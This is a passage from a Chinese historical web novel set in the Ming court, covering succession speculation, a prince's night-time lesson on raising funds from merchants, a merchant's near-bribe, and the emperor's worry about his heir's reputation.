环境改变人这句话可不是闹着玩呢,这是切切实实总结出来的经验!朱煐本身就带着剧烈的勇敢磁场,无畏无惧,这对于懦弱性子的朱允熥而言是一种无与伦比的影响,而朱煐府中,还不仅仅只有一个朱煐啊! 张平和方孝孺,这俩货可在朱煐不说话的时候成天在叨叨叨个没完,说是志趣相投,其实就是大明的超级八卦份子。两个人谈论内容聊着聊着就会聊到哪里的官府闹出了什么事,然后就会聊到,倘若此事被自己碰到将会如何如何...... 不光是当代官府的事儿,还有前朝,还有汉唐,中华上下数千年的历史被两人聊了个遍,最终张平得出结论,大部分人都是草包,放眼千年,真正能办事儿的,唯有你我二人加一个老大..... 理想主义者的想法总是充满了理想主义,而显然,张平和方孝孺都是理想主义,至少目前来说,两人是没有经过多少实践的理想主义代表.....而两人也是天不怕地不怕的性格,甚至为了心中的简直可以放弃生命,充满了勇气,而两人之间激烈的言辞交谈,也充分影响到了作为旁观者的朱允熥.... 遇到问题,首先就是要坚持正确的想法,遇到阻碍怎么办?继续坚持!有人针对怎么办?坚持的同时喷他!要是对方很强大怎么办?继续坚持,继续喷他!那对方要杀了你怎么办?仰天长笑,然后鄙夷,慷慨赴死,高声语,人生自古谁无死,留取丹心照汗青,千古留名,不亏,让对方遗臭万年,对方血亏! 这就是张平和方孝孺的追求和讨论内容,每每两人出现争论,都让一旁的朱允熥听得叹为观止.....他从未想过,世界上还有人能够如此坦然地面对死亡,如此热烈地追求理想。 而要说朱煐在里面最大的作用那就是张平和方孝孺争论不出结果的时候,这时候两人之中必然会出现一个人提及到朱煐,然后两人就去请教朱煐会如何行事,亦或是两人齐齐闭嘴....在朱煐面前,哪怕是两人也不得不低下那追求真理的头颅。 无论是张平还是方孝孺,两个都不是怕死的人,两个人都能将生死置之度外,可要说将九族置之度外,两人目前还做不到,方孝孺虽然日后做到了,可以如今的他而言,还是做不到的。但朱煐由于特殊原因,现在就能把九族置之外...... ..... 一旁的胡老三看着此情此景,整个人激动不已,心脏噗通噗通快速跳动着.....这一个个的,都要在朱御史的家中留宿?这意味着什么? 秦王殿下要留宿,凉国公也要留宿,而且都是上赶着留宿!这背后要是没有点其他意味,谁能信?本身胡老三就是个敏感的人,在他看来,事出反常必有妖,而这一次,显然自己因祸得福,而且得的大发了! 而在几人说话的功夫,胡老三也发现了一个一直以来都被自己忽略的一个人,那就是朱允熥!是啊!这可是堂堂皇孙殿下啊!怎么就被自己给忽略了呢?而在听着几人言语间的信息,胡老三震惊地发现,这位外界盛传的懦弱的皇孙殿下,好像是奉了陛下之命,长住在朱御史的家中? 这其中.....就有意思了!难不成....忽的,胡老三好像想到了什么,眼前顿时一亮,脑海里想出了一个自己推演的结果.....他的脑海里,想到了一种可能性.... 只是这个可能性过于大胆,大胆到胡老三都不敢相信的程度!有没有这么一种可能性?有没有可能陛下他是有意让朱御史锻炼允熥殿下? 而为什么要锻炼允熥殿下?无非就是两种可能性,第一种可能性就是想借允熥殿下去磨炼允炆殿下,陛下有意传位允炆殿下..... 但这么又说不通了,要是陛下重视的是允炆殿下,那么即便陛下让朱御史调教允熥殿下,却也等同于放弃了朱御史,毕竟允熥殿下住进了朱御史的家中也就意味着朱御史被迫站在了允炆殿下的对立面,朱御史被迫站在了允熥殿下的一边..... 这要是日后争储失败,那么....朱御史就算不死,也不可能得到允炆殿下的重用!这一点,以陛下的眼力和见识不可能没有看到,那么陛下就不可能给朱御史安排什么重要的差事或者重要的位置,要不然如此一来的话日后岂不是自找麻烦吗? 那么....就只剩下了第二种可能性!第二种可能性就是.....胡老三的眼睛微微眯起....脑海中豁然出现了一个念头——陛下莫不是....要立允熥殿下? 外面盛传,允炆殿下有仁君之姿,谁都在想日后允炆殿下上位之后如何,至于这允熥殿下,则是口碑相反,懦弱无能的名头都已经传遍了!可....当真如此吗?陛下的心思,难不成能让天下人猜中? 这君心难测,说不定陛下他压根就没有想立允炆殿下,他说不定一直想立的就是允熥殿下?要不然这费劲心里,还搭上了自己的心腹爱臣,甚至还搭上了秦王是为什么?这明显陛下就是在托举允熥殿下啊! 而这时候胡老三的脑海里又是灵光一闪!他又在这个基础上进行了思维上的扩展与延伸.....陛下要提升允熥殿下,单纯只是为了提升之后和允炆殿下争储吗?或许....并非如此! 胡老三这时脑海里想到了听闻过的朝中朝堂上的有关于朱煐的事迹.....他微微眯起眼睛,脑海中的猜想逐渐变得十分十分清晰..... 朱御史曾在朝堂上说过,倘若允熥殿下上位,那以允熥殿下的脾气,软弱不堪,日后将为凉国公所趁,或许就是一场外戚乱权!而这也是凉国公多日闭门不出,甚至都不敢上朝的原因!~ 因为光是这么一条罪名,就足以让凉国公全家满门抄斩!哪怕凉国公什么也没干,但只要存在这种可能性,以陛下的脾气就绝对不会允许! 可....眼下凉国公却又是安然无恙....这其中是什么缘由呢?胡老三的思维非常的活跃,很快就自己想通了其中的关窍..... 陛下这是想用另一种方法!相较于暴力地去解决掉凉国公,眼下陛下采用的这种方法更为高级!首先就是凉国公自己主动交出了兵权,并且处于半退隐状态...... 其次....陛下莫不是想用秦王和朱御史去制衡凉国公?想到这种可能性,胡老三的眼睛在放光,眼中精光大亮! 倘若陛下当真是这么想的话,那么一切就都能说得通了!陛下为什么不杀凉国公?因为陛下找到了更好的应对手段!而这手段就是用秦王和朱御史,秦王的统兵能力和军中威望虽然逊色凉国公一筹,但他的身份却又压了凉国公一头,如此一来双方形成相互制衡的局面,而朱御史他刚正不阿,他一定是恪守陛下交代的,如此一来三人就形成了一个巧妙的平衡..... 而三人一同辅佐允熥皇孙的话,那只要允熥皇孙的性子稍稍培养好些,大明交到允熥殿下的手里....貌似也是一个不错的选择? 要是倘若当真如此....那.....胡老三顿时脑海里出现了一个大胆的想法.....眼下这些都是自己的推测,或许不一定是真的,但也有可能是真的!倘若不是真的,那对自己也没有什么损失,自己只是区区一个商贾而已,哪怕是真的日后皇权之争落入下风或者出了事,大不了就继续带着钱远遁就是,光脚的不怕穿鞋的,能有啥好怕的? 难不成还有人会特意为难自己一个商贾不成?而要是真的,陛下当真有心推允熥殿下上位,那....如今押注,简直就是天选的时机啊! 先秦吕不韦奇货可居以至于创造神话流传千古,自己这要是压中了,不说是流传千古吧,至少也是大赚特赚,鱼跃龙门啊!从龙之功,这是何等功绩? 而且这些日子自己已经在给稷下学宫办事了,而从稷下学宫目前的阵容上来看,这稷下学宫摆明了陛下就是留给允熥皇孙的!秦王、凉国公、朱御史、和秦王交好的晋王、方大人、张大人这哪一个不是允熥殿下这边的人? 想到这里,胡老三越来越激动....他的心中也有了对未来的规划和计较.....也许,这是他胡老三这辈子最大的机遇,也是胡家从此改变命运的关键时刻。 ...... 大明的月亮很圆,这会儿的天空还很蓝,空气中夹杂着草木的清香,让人闻了之后精神振奋。夜色渐深,朱府却依然灯火通明。 油灯已经点了起来,月光洒在院子里,将院子照亮,而油灯放在房间中,也将整个房间照亮.....几个仆人轻手轻脚地穿梭在廊下,为客人们准备着寝具和洗漱用品。 “咚咚咚....”朱煐刚准备睡下,门外就响起了敲门声....这敲门声很轻,带着几分试探的意味。 “谁?”朱煐有些疑惑地问道。这么晚了,还会有谁来敲门?莫不是张平或者方孝孺又有什么新的想法要找他讨论? “朱御史莫慌,是本王!”门外,朱樉压低声音,低声回复。他的声音中带着几分小心翼翼,仿佛生怕惊动了其他人。 “朱御史可是就寝了?不知本王可否入内一叙?”朱樉的声音再次响起,这次带着几分恳切。 朱煐也是没有想到,人在客房的朱樉会在这大半夜来敲自己的房门....这秦王殿下到底在搞什么名堂?朱煐有些惊讶,不过却也想看看朱樉这是想做什么.....毕竟这位王爷的举动,往往出人意料。 “原来是秦王,不知深夜来此,所为何事?”朱煐亲自起床给朱樉打开了房门....只见朱樉穿着一身便服,站在门外,脸上带着几分局促的笑容。 看到朱煐开了门,朱樉笑了,伸直头往朱煐的房间里探了探,看到房间里面没有人之后才终于露出了笑容......那神情,活像个做贼心虚的小偷。 “朱御史,不如让本王入内一叙?”朱樉搓着手,一副迫不及待的样子。 “自无不可,王爷请便。”朱煐笑道,而后朱樉就自顾自地走了进来,找了个地方很自然地坐下。那架势,仿佛他才是这个房间的主人。 朱煐顺手将房门给关上......这个动作让朱樉脸上的笑容更加灿烂了。 朱樉扫了眼四周,窗户也是避着的,这才笑呵呵地看向朱煐.....那眼神,就像是一个发现了宝藏的孩子。 “不瞒朱御史,本王深夜前来,实在是为了求教而来.....”朱樉终于说出了来意,语气十分诚恳。 “求教而来?”朱煐眉头一挑,疑惑问道:“不知王爷不解何事?何必这深夜来访?”他实在想不通,有什么重要的事情不能让朱樉等到明天再说。 朱樉老脸一红:“这不是别人在怕惹人笑话吗?父皇想要让我当大明贤王这本王有几斤几两本王自己清楚,不过本王这人没有什么太多的优点,但就只有一点,好学!本王勤奋好学!这一点毋庸置疑。” 朱煐:“.......”他强忍住翻白眼的冲动。秦王朱樉,勤奋好学?这历史上也是没有听说过啊....哪怕不论历史,这现实里也是没有听说过啊..... 谁不知道秦王朱樉打小就不学无术,为此被老朱打了不少板子,甚至被老朱追着满大街打......什么时候这秦王殿下也开始勤奋好学了? 不过这打人不打脸,朱煐自然不会在这个时候点破朱樉的,毕竟以后还要靠朱樉呢,这要是眼前是朱老四,那朱煐的做法就不同了,不光揭短,还得好好嘲讽一翻,哦不,换做朱棣的话,应该连进门那一步就直接被驱逐了..... “不知王爷想学什么?我这也没有什么好教你的啊,好学的话不得去找陛下请个大儒?就算是去找方大人也比来我这儿好吧?下官这刚刚入朝,殿试也没有名次,倒是确实指教不了王爷。”朱煐想要推脱,指教?指教个屁,烦死个人。他现在只想好好睡一觉,明天还要上朝呢。 不过很显然,他把这件事情给想简单了......朱樉压根就没有听出朱煐的言外之意,而是一脸郑重道:“朱御史,你就不要推脱了,本王想请教的不是别的,正是朱御史这几日所做之事!” “本王想知晓,这其中到底是怎么回事,为什么这胡老板赶着给送钱,为什么父皇先前就筹措不到钱粮,为什么这些商贾眼下几日之间就愿意凑出这般多的银钱?” “本王觉得既然朱御史能做出如此效果,那这其中必然有常人难以看到的东西。”朱樉说着,眼神越发炽热,“外人总觉得本王不学无术,可本王其实十分好学,还请朱御史教我!” 朱樉说的十分真诚,眼神里也充满了坚定和诚恳......这一刻,他不再是那个骄纵的秦王,而是一个真心求教的学生。月光从窗棂间洒落,照在他认真的面庞上,竟让朱煐一时不知该如何拒绝..... ...... 这明史难不成又是记载错误了? 这眼下的朱樉和明史里面所记载的朱樉又是大为不同..... 这还是那个娇纵跋扈的秦王朱樉? 果然,这明史就不能看,老朱老朱记载错,朱樉朱樉记载又出了纰漏..... “罢了。既然王爷诚心诚意发问了,那下官就知无不言了。” 毕竟还是要用到朱樉,还得靠着这位爷给朱老四拉拉仇恨呢。 朱樉针对朱老四,自己只需要和朱樉走得近,朱老四自然而然就恨上自己了..... “还请朱御史给本王详细讲讲这为什么胡老板他会做出如此出人意表的行径?” “本王记得很清楚,前些年曾听人禀报过,当时皇兄和父皇都想要商贾能够捐些钱出来赈灾,甚至为此父皇还亲自写信,亲自登门,可即便是如此,也只是弄到了区区数万两银子,以至于父皇勃然大怒,就连皇兄都没有能劝住父皇.....” “可为何朱御史你这一出手,胡老板立刻就送上了如此多的银子?主动奉上不说,还帮忙宣扬,难道这稷下学宫当真这般吸引人?”朱樉的言语间充满了困惑和不解...... ...... 朱煐却是笑着摇了摇头.... “王爷问的下官自然可以回答,不过下官暂且先不回答,下官先问王爷一个问题。” “朱御史请问。” 朱樉认真地看着朱煐..... 第79章 不可能!这绝对不可能! “这世上每个人都有所求,都有属于自己要站的立场,每个人的立场不同自然面对同样一件事情的看法,决断都会不同。” 朱煐说着看向朱樉,烛光在他清亮的眼中微微跳动。 他声音不高,却字字清晰,仿佛每个音节都斟酌过才出口:“这就是为什么在大家看来商贾全都是一毛不拔的原因,因为大家都没有站在商贾的角度去看待问题。” 他略略停顿,见朱樉凝神倾听,便继续道:“而秦王若是站在这商贾的角度看待问题之后你就会发现,一切豁然开朗!商贾并非是真的一毛不拔,而是他们担心当真露富之后,连同性命都给丢了!毕竟他们相较于朝堂上的兖兖诸公而言,实在是毫无抵抗之力!” 他语气转沉,仿佛自己也置身于商贾那般如履薄冰的处境之中。窗外蝉声忽高忽低,衬得他话音愈发清晰。 “商贾也是有所求的,此番下官就是思考到了商贾所求。” 朱煐微微向前倾身,衣袖在烛光下泛出淡青的微光,“目前大明商贾的地位低下,无人重视,甚至还是贱籍。如此情况下,秦王殿下以为这些商贾所求为何?” 朱樉的眉头一挑,手指无意识地在案几上轻轻敲击了两下。 他原本略带散漫的目光渐渐凝聚,沉吟片刻方道:“商贾想要提高自己的地位?” 他这句话出口时还带着两分试探,但说完之后,自己却仿佛被这句话点醒了什么,眼神倏地亮了起来。朱樉顺着朱煐所说的话思考之后得出了结论,不禁微微颔首,似乎对自己这个推断颇为满意。 ...... 月上柳梢头,清辉透过窗棂洒入室内,与摇曳的烛光交融在一起。 房间里,烛火在微风中轻轻晃动,将二人的影子拉得忽长忽短。房间外,蝉鸣蛙叫声此起彼伏...... 朱煐点了点头,唇角浮现出一丝若有若无的笑意:“不错,商贾想要提高自己的社会地位,想要脱离自己的贱籍。” 他话锋一转,声音渐沉,“但同时这又产生了一个问题,陛下也曾与我说过,商贾本身就已有巨富,倘若再有名望地位,那天下百姓岂不是都想着去做商贾了?” 他忽然收住话音,眯着眼睛看着朱樉,那目光中既有考较,也带着几分引导之意。 朱樉顺着朱煐的话思考后,手指无意识地摩挲着茶盏边缘,忽然眼中灵光一闪,开口道:“那天下百姓都学商贾,岂不是耕地无人耕种,将动摇国本啊!” 他这话说得又快又急,仿佛一下子想通了什么关窍,连身子都不自觉地坐直了几分。 朱樉并非没有脑子,也并非不会思考,而是需要人引导。相较于正常人而言,身为秦王,他所经历,所看到的事情远远比常人要见过,听过,经历过的要更多。有这些底蕴在,朱煐至少稍稍引导,朱樉就能触类旁通,想清楚很多东西。 就好像此时,朱樉就有一种豁然开朗的感觉,好像眼前的迷雾瞬间就被拨开了一样。原本很多看不明晰的东西,在这会儿都看得清楚了,甚至连带着对朝政民生都有了新的认识。 “不错,”朱煐颔首,眼中流露出赞许之色,“王爷想必也看出来了,倘若人人都学商贾,那这天下就没有人再去种粮食了。天下本就缺粮,在目前的情况下,要是天下没有人去种粮食,哪怕朝中财政再富裕,没有粮食天下也会大乱!毕竟这银子不能当饭吃不是?” 他轻轻将茶盏放下,发出清脆的声响:“既然如此,那我们就要考虑。如何处置这其中的平衡,如何把握住这其中的尺度.....” “那朱御史以为,这该如何把握?” 朱樉隐约感觉自己好像是抓住了什么,但又感觉自己没有抓住,不由看向朱煐,好奇求解。他的目光灼灼,全然不见了平日里的散漫,取而代之的是一种近乎饥渴的求知欲。 “很简单,给商贾地位,以此让他们支持,但同时,这个地位不能直接给,也不能给的太轻易!”朱煐语气坚定,每个字都掷地有声。 “人往往不会珍惜轻而易举就能得到的东西,且同时,要是直接给,也会对当前稳定的社会关系产生一些不好的影响.....” 朱樉顿时恍然大悟,右手成拳轻击左掌:“所以这就是朱御史限定稷下学宫名额的原因?” 朱煐笑了,唇角扬起一个恰到好处的弧度:“王爷想必也明白了,这限定名额为的就是两点,” 他伸出两根手指,“其一就是如王爷所说,限定名额能够将商贾地位的提升限定在小范围内,只是很小一部分的商贾的社会地位提升,他们获得名望。而他们因此也付出了很大的代价,也会珍惜这来之不易的机会和名额。” 他稍作停顿,让朱樉消化这番话,继而继续说道:“在这种情况下。商贾拿出了大量的银钱,付出了巨大的代价,获得了对应的名望,得到了他们想得到的东西,他们非但不会觉得亏了,反而会觉得自己的辛苦得到了回报。而其中还有一点值得注意。” 朱煐的目光变得深邃起来:“这天下的人呐,都是不患寡患不均,有人拿得多,有人拿得少,这自然就产生了竞争和对比,产生了攀比。从某种意义上来说,这样很不好,不利于和谐,不利于团结。可从另一种角度来看,竞争能够提高价码,对比能让得利者扩大收益的感受.....” 朱樉听着朱煐的这番话,顿时眼前越来越亮。他原本交叉放在案上的双手不自觉地握紧,身体前倾,仿佛要抓住每一个字眼。 “朱御史这话的意思是,”朱樉语速渐快,思路清晰....... “设定名额,让商贾内部竞争,如此一来,得到名额的商贾和没有得到名额的商贾形成对比之后,得到名额的商贾就会觉得自己哪怕是花了大价钱,但物有所值。而没有得到名额的商贾,也会因为看到得到名额的商贾受益而嫉妒,下次再有名额时,会拼命竞争?” 朱煐眼前闪过一抹讶异。这位秦王的脑子,比想象中的还要更好使!这哪里是什么莽夫,这举一反三的能力,绝对不弱啊! 不过这想想也是,无论是在历史上还是在这现实中,朱樉都不算是庸才。 甚至要是只说行军打仗,干仗上的话,朱樉还是个奇才,天下能出其左右的也不过寥寥数人而已。 显然,朱樉不是没有学习能力,只是他先前故意不学,他的兴趣完全不在这个方面,再加上成长的背景以至于让他对这方面的学习产生了抵触的情绪。 而眼下,朱樉的目标变了,学习的动力出现了,如此一来他的天赋也就自然展露了出来。 “王爷举一反三,实在聪慧,下官佩服。”朱煐也承认,这番话是有些绕,只是他没有想到朱樉居然直接就给理解并且举一反三!他的赞赏之情溢于言表。 “那这第二点呢?”朱樉好奇地看向朱煐,眼中闪烁着求知的光芒。刚刚说了这第一点是将商贾的名望提升限定在小范围内,这样有利于控制商贾形成内部竞争。朱樉已然理解,不过这对于朱煐未说的第二点,朱樉依旧充满了求知欲。 “这第二点其实王爷已经说了一半了,”朱煐微微一笑,似乎很满意朱樉的反应,“这其二其实就是起到一个千金买马骨的示范作用,让商贾形成内部竞争,让商贾明白这个名额的来之不易。而这一切,都是为了让这个名额维持该有的价值!” 他端起茶盏轻啜一口,继续道:“这天下间的东西,无论什么,那都是物以稀为贵。倘若这名额有一百个,那这名额的作用还有如今这般大吗?” “从短时间而言,或许一百个名额能从商贾手里拿到更多的银钱,可之后呢?实际上是透支了商贾的潜力和捐名额的意愿。所谓细水长流,徐徐图之,一百个名额分成十年,如此一来,每年都有商贾挤破了脑袋去争夺这区区的十个名额!” “同样是一百个名额,这里外里可全然不同了....王爷可明白了?” 朱樉顿时眼前一亮,有种恍然大悟的感觉。他猛地站起身,在屋内踱了两步,忽然转身,眼中闪烁着睿智的光芒。 “本王明白了!”他声音中带着几分激动,“这就好像大明的皇帝只有父皇一人,可要是大明人人都是皇帝,那这皇帝也就不值钱了。就好似那乱世,人人都称自己是皇帝,那这皇帝就不值钱,唯有天下一统之后,这皇帝才值钱了。这就是朱御史说的,物以稀为贵吧?” 朱樉说完这番话,自信地看着朱煐,似乎对自己的这个比喻十分满意。 朱煐:“......” 好家伙,秦王你丫的还真是个人才!这举一反三举的,还真是.....恰当.....他一时竟不知该如何接话,只得强忍住嘴角的抽搐,勉强维持着严肃的表情..... 朱樉这举一反三反的也是没谁了........真真是闻一知十、触类旁通,倒显得自己先前那番解释有些多余。 “王爷好悟性,说的就是这个意思。” 朱煐笑着点了点头....... “多谢今夜朱御史答疑,解本王心中困惑。” 朱樉给朱煐躬身做了个礼,他要当贤王,这言行举止都已经开始注意,不再似从前那般倨傲随性,眉目间也添了几分沉稳之气。 朱煐亦郑重还礼,二人于月下相别,一派清辉映着两道身影,一者尊贵雍容,一者清朗如玉。 ........ 送朱樉离开的时候,已是深夜。 院子里的虫儿叫的声音都变得轻了,仿佛也知夜深人静,不宜喧哗,只偶尔低低鸣叫几声,更显得四周寂静。 月光依旧皎洁,如水般洒落在院子里的石桌石凳上,映出一片清冷光辉,连砖缝间的青苔都隐约可见。 朱煐站在门前,望了望天边那轮明月,微微吁出一口气,这才转身准备关门休息。 却不想刚脱了外衫躺上床,门外又响起了敲门声........ “咚咚咚........” 声音不重,却清晰得很,一下一下,敲得人心里发紧。 “???” 朱煐愣了一下,睡意顿时散了大半。 不是刚送走秦王吗?这难不成是朱樉去而复返?还有什么未尽之事? 他心下疑惑,却也不慌,披衣起身,趿着鞋走向门边,轻声问道:“何人?” 门外无人应答,只是又响起了三声轻叩。 朱煐微微皱眉,抬手拉开门闩,刚将门推开一道缝隙,见到的却不是朱樉,而是一脸谄笑、搓着手站在那里的胡老三。 “胡老板?” 看到胡老三深夜来寻自己,朱煐有些惊讶。只见对方衣衫整齐,发髻丝毫不乱,显然不是临时起意,而是早有准备。 “这深夜来访,不知胡老板所谓何事?” 朱煐看向胡老三,语气平静,却带着几分审视之意。他侧身让开半步,容胡老三进门,却并未完全将门敞开,仍保留着几分警惕。 胡老三连忙躬身走了进来,脸上堆着笑,声音压得极低: “朱御史,小人在院子外面等了许久了,刚刚见秦王离去,小人才敢进来敲门,这是一点点小心意,还请朱御史收下......转呈陛下。” 他说着从怀里掏出一个布袋子,那袋子不大,却显得沉甸甸的,递过来时动作小心翼翼,仿佛捧着什么易碎的珍宝。 朱煐接过布袋子,并不打开,只用手微微一捏,便知里面是银票。他索性解开绳扣,只是往里面扫了一眼,就看到了装满了整整一大袋的银票,面额不等,但厚厚一叠,数额定然不小。 “不过是区区一万两,朱御史您别嫌少啊,小人也知道现在朝廷吃紧,陛下手头肯定也不宽裕,小小心意,小小心意。” “小人不求回报,这些只是小人对朱御史和陛下的仰慕才送上的一点点心意,还请朱御史日后能够多提携提携小人.......” 胡老三十分紧张,这会儿的他深夜来访噗通噗通,小心脏直跳,心里头更是七上八下的,额角甚至渗出细密的汗珠。他一边说一边偷眼观察朱煐的表情,生怕对方脸色一沉,当场发作。 老朱查贪官污吏查得多严,行贿和受贿的人有什么下场,几乎人尽皆知。虽然严查贪官污吏的事情已经过去了快十年了,可当初那狠辣的手段,余威犹在,现在依旧震慑着一大帮子的人....... 这也是为什么胡老三只是送了区区一万两的原因,还是托词说让朱煐交给老朱....... 用这个理由可以说是滴水不漏,反正名义上是送给老朱的,至于在这之中朱煐要抽多少油水,或者说全部都留下,这就看个人自己了....... 这事情主打的就是一个心照不宣。 要是寻常商贾,胡老三绝对不敢冒天下之大不韪做这容易掉脑袋的事儿,可朱煐的关系太硬了,甚至有可能是未来储君的老师啊!~ 倘若日后允熥殿下上位,那如今陛下让允熥皇孙向朱御史学习,在朱御史这府中居住,那朱御史日后什么地位,不必多说了....... 想到从龙之功,胡老三这才咬牙做出了这个极其冒险的决定! 这已经等于是在打行贿的擦边球了! 胡老三紧张地看着朱煐,这一万两是在试探朱煐的态度.......成,则日后富贵可期;不成,只怕也要惹上一身骚。 朱煐只是淡淡地扫了一眼胡老三,目光在那袋银票上停留一瞬,而后展颜笑道:“转呈陛下就不必了,陛下让我重开这稷下学宫,这稷下学宫也还缺着钱呢,日后花钱的地方多了,既然胡老板有心支援,我这自然没有不收的道理。” “胡老板也不用想太多,我这儿是陛下交代的差事,你们给的钱都是为公,为陛下。” 他语气从容,仿佛真的只是在处理一件公事,丝毫不见慌乱或是贪婪。 “当然,本官还有另一个想法,这个就是纯属私事了,胡老板是否愿意帮忙纯看胡老板你自己。” “私事?朱御史请讲,小人但凡能够做到,尽管吩咐!” 胡老三听了朱煐的话,先是松了口气,但旋即又是眉头微微皱起....... 之所以松了口气是因为这行贿受贿的名头是戴不上了,朱煐这话就等同于拒绝了,没有了危险的同时也没有了攀附的机会....... 不过在听到朱煐后面的话后,胡老三原本紧皱的眉头又不由得一挑,好奇地看向朱煐....... 他敏锐地抓住了话语中的俩字——私事儿! 朱御史的私事儿要自己帮忙? 这是促进交情的好时候,好机会啊! “本官有一门技艺,或可提炼砂石,砂石遇水成岩坚硬无比,或对我大明有大用,奈何却少银钱研究扩张,若是胡老板愿意,可以入股下官的这私人买卖,等有了收益,也不会让胡老板吃亏。” “当然,若是胡老板觉得这门技艺一般,本官还有一门技艺,为琉璃制法,可制作透亮无比的琉璃,胡老板愿意入股的话,也可入股。” “不光胡老板可以入股,若是还有好友想要入股,皆可入股。” 事实上这个想法在朱煐的脑海里酝酿了许久了,或者说接下筹措湖广赈灾粮款的差事,为的就是这一刻! 想要让老朱这个好脾气的皇帝对自己痛下杀手,那就必须要触及到老朱的逆鳞才行! 老朱的逆鳞是什么? 是贪污受贿,是官商勾结! 咱只要让老朱觉得咱贪污受贿了,咱官商勾结了,那不就轻轻松松,简简单单完成任务了? 当然,想要一步到位也并不简单,首先就是商贾的实力问题,这涉及到数额,老朱的脾气这么好,这涉案金额必须得大,合作的商贾必须得有影响力,如此方可! 至于合作的项目。朱煐的脑海里也早有构想。 这些商贾只是附带的,最吸引仇恨的一定是自己,等老朱盛怒之下处置了自己,再将这两门生意真正的效果公之于众,如此一来,商贾无恙,且自己顺利完成任务! 这其中就有两个关键点,首先就是要商贾愿意出钱,其次就是项目的运行得瞒着老朱,得在老朱不知情的情况下研究开展,等到自己完成任务之后再行揭露....... 眼下,时机已经成熟,两个问题都已经不再是问题了....... 朱煐看着眼前的胡老三,胡老三呼吸声不由得加重了,眼睛渐渐亮了起来,仿佛看到了无数金银在眼前闪烁....... “不知朱御史,这买卖入股得多少银两?” 胡老三咽了口唾沫,声音有些发干,他虽家财颇丰,可也清楚这“入股”二字背后牵扯的绝不只是银钱那么简单。 “最少五万两,多了来者不拒,胡老板,这机不可失,能不能把握住这个机会,就看你自己咯。这买卖可是一桩好买卖,本官不会让你赔了的。” 朱煐眼睛盯着胡老三,语气平淡,却字字清晰,仿佛说的不是一笔巨款,而只是街边随手的一桩小生意。 胡老三额头的冷汗瞬间就流了下来,后背也跟着泛起一阵凉意。 “朱御史他这是在主动索贿?” 胡老三原本就是来试探行贿的,但没想到被朱煐轻巧拒绝,可让他想不通的是,这拒绝了自己,为什么又要以做买卖的名义主动向自己索要更大数额的银两呢? 这不正常啊!这根本不符合朱御史一贯的人设! 这一刻,胡老三感觉自己的脑子不够用了,他在疯狂的思考,疯狂地运转大脑,试图从这看似矛盾的言行中捋出一条清晰的线来。 忽然,胡老三脑海里闪过一道灵光! 灵光一闪的胡老三瞬间感觉自己明白了其中诸多关窍! “原来如此!” 胡老三眼前猛地爆发精芒,眼前一亮,仿佛拨云见日,所有疑团顷刻间烟消云散! 而后,他的心里就坦然了,那点紧张和惶恐消失不见,取而代之的是一种窥破天机的兴奋和笃定。 哈哈哈,原来是这般! 这哪里是朱御史要做买卖,这分明是陛下假借朱御史之名,想要收些银钱啊!而且是要收得巧妙,收得不留痕迹,收得光明正大! 就在刚刚,胡老三心思电转之下想到了一个最关键的问题,那就是朱煐的人品! 以朱御史的人品,怎么会私下行贿索贿呢? 朱御史可是刚正不阿的代表!是朝堂上的一面清流旗帜! 整个朝堂。兖兖诸公,要说哪个官员一定刚正,那就唯有朱御史!那是连陛下都敢直言顶撞,将生死置之度外的人物! 第80章 再见老朱 虽然老朱也曾经洗劫过商贾,可要说肆意劫掠商贾,那这问题可就大了。 这一次筹措银两虽然是朱煐主持,可商贾也算是出了大力。 在老朱的想法里,十个名额,总不能每个商贾都和这胡老三一样有钱吧? 十个名额,除掉胡老三的这个名额之外,总共还剩下九个名额,九个名额每个名额捐款个二十万两,总计一百八十万两,加上胡老三的那三十六万两,总计两百一十六万两.....老朱在心里反复盘算着,手指无意识地在御案上轻轻敲击,这笔钱足以缓解湖广之地的灾情。 这是老朱的心里上限预期.....他甚至觉得这已是极乐观的估量,需知国库一年岁入也不过两千万两白银。 而至于老朱的心里下限,那就是剩下的九个名额每个名额收十万两,如此一来的话就是九十万两银子,加上胡老三捐的三十六万两银子,总计一百二十六万两。 这也是一笔巨款,至少用来赈灾将把将是够的了,也能大大给朝廷财政缓一口气.....他甚至已经预备好了几种使用这笔款项的章程,只等银两入库便可施行。 可现在老朱听到了什么? 四百多万两? 老朱的第一反应就是,朱煐为了能够凑集更多的银两,对商贾威逼利诱亦或是劫掠了商贾,这是老朱决计不允许的! 他的脸色瞬间沉了下来,胸膛微微起伏,一股怒气混合着担忧直冲顶门。 他仿佛已经看到言官们唾沫横飞的弹劾,民间沸沸扬扬的议论,说朱煐榨取民脂民膏。 有些事情他能做,可朱煐不能做,朱煐尤为特殊!老朱自己是从尸山血海里杀出来的皇帝,什么恶名都能扛,但朱煐不同。 朱煐是老朱认定的未来大明继承人,老朱自己的手上已经沾满了鲜血,多一条性命少一条性命无所谓,反正已经背负了骂名,这骂名再多背负一些也无妨.....他想起自己这些年来杀过的功臣、惩处的贪官,史笔如铁,他早已不在乎身后评说。 可朱煐还是一张白纸!这孩子聪慧仁厚,尚有无限可能。 老朱对于继承人的名誉和名声方面还是十分看重的。 他已经没有了名声可言,这人呐,越缺什么就会越想要什么,老朱属于是破罐子破摔,反正自己也没有什么好名声,那就完全不要名声好了,可他不希望大明的继承人声名狼藉!他希望朱煐能成为一个众口称颂的仁德之君,一个能让他这个祖父在九泉之下也能感到欣慰的明君。 这就是为什么明明老朱的名声很差,可朱标的名声却很好的原因。 民间盛传,太子朱标有仁君之姿,乃仁德之君!至于这仁慈和仁德从哪里体现?这自然是通过和老朱进行对比之后体现的嘛! 朝堂上经常会出现这么一幕: 老朱:岂有此理,犯此事之人,全给咱杀了,诛九族! 这时候朱标就会站出来,躬身行礼之后对老朱劝谏: 朱标:父皇不可!这些人罪虽大,却不至诛九族,诛三族就好。 老朱:既然太子开口,那便依太子的意思,咱退一步,诛三族! 其余大臣:太子仁德! 朱标仁德嘛?仁德!这毋庸置疑,毕竟他的参照物是老朱嘛! 老朱是不希望自己的未来继承人在名声方面太过狼藉的,因此他把所有棘手的事情都揽到自己身上,自己一人背负骂名.....从历史上来看的话也确确实实是如此,朱允炆的名声在登基之前一直都很不错,也未尝没有老朱推波助澜的意思..... 正因如此,所以老朱在听说朱煐筹集了整整四百万两之后的第一时间面色剧变,大惊失色!他几乎要立刻站起身,传唤朱煐前来问个明白。 老朱担心朱煐为了搞钱而采取了应激手段,这要是导致声名受损那就得不偿失了..... 他甚至一瞬间想到了最坏的结果,若是孙儿行差踏错,他该如何补救,又如何保全孙儿的声誉。 